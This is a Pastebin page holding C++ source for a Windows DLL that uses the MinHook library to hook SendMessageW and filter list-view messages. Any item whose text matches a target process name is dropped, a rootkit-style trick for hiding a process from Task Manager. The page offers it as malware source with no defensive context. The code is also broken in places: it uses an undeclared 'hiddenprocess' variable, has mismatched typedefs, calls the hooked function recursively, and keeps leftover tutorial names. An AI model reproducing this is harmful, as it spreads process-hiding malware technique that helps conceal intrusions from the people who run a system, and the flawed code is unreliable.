Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
- #include <iostream>
- #include <windows.h>
- #include <Commctrl.h>
- #include <conio.h>
- using namespace std;
- typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
- static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction
- static const wchar_t *HOOK=L"";
- LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
- {
- if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
- {
- if (!lstrcmpW(((LVITEMW*)lparam)->pszText, hiddenprocess))//The lparam is a LVITEM* struct.
- {
- return 0;//If the item name is the same as process we want to hide, we simply return 0 (and we do not call the real SendMessage function.
- }
- //return 0;
- }
- return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
- }
- static bool Hook();
- template <typename T>
- inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
- {
- return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
- }
- extern "C" __declspec (dllexport) void __cdecl SendWrite()
- {
- }
- BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved)
- {
- //Different behaviors depending on the reason why DllMain is called
- switch (ul_reason_for_call) {
- case DLL_PROCESS_ATTACH:
- if (!Hook())//Hook "Writefoobar"
- {
- cout << "Hook failed" << endl;
- return 1;
- }
- break;
- case DLL_PROCESS_DETACH:
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- }
- return TRUE;
- }
- bool Hook()
- {
- if (MH_Initialize() != MH_OK)
- {
- return false;
- }
- if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
- {
- return FALSE;
- }
- return MH_EnableHook((void*)&SendMessageW) == MH_OK;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement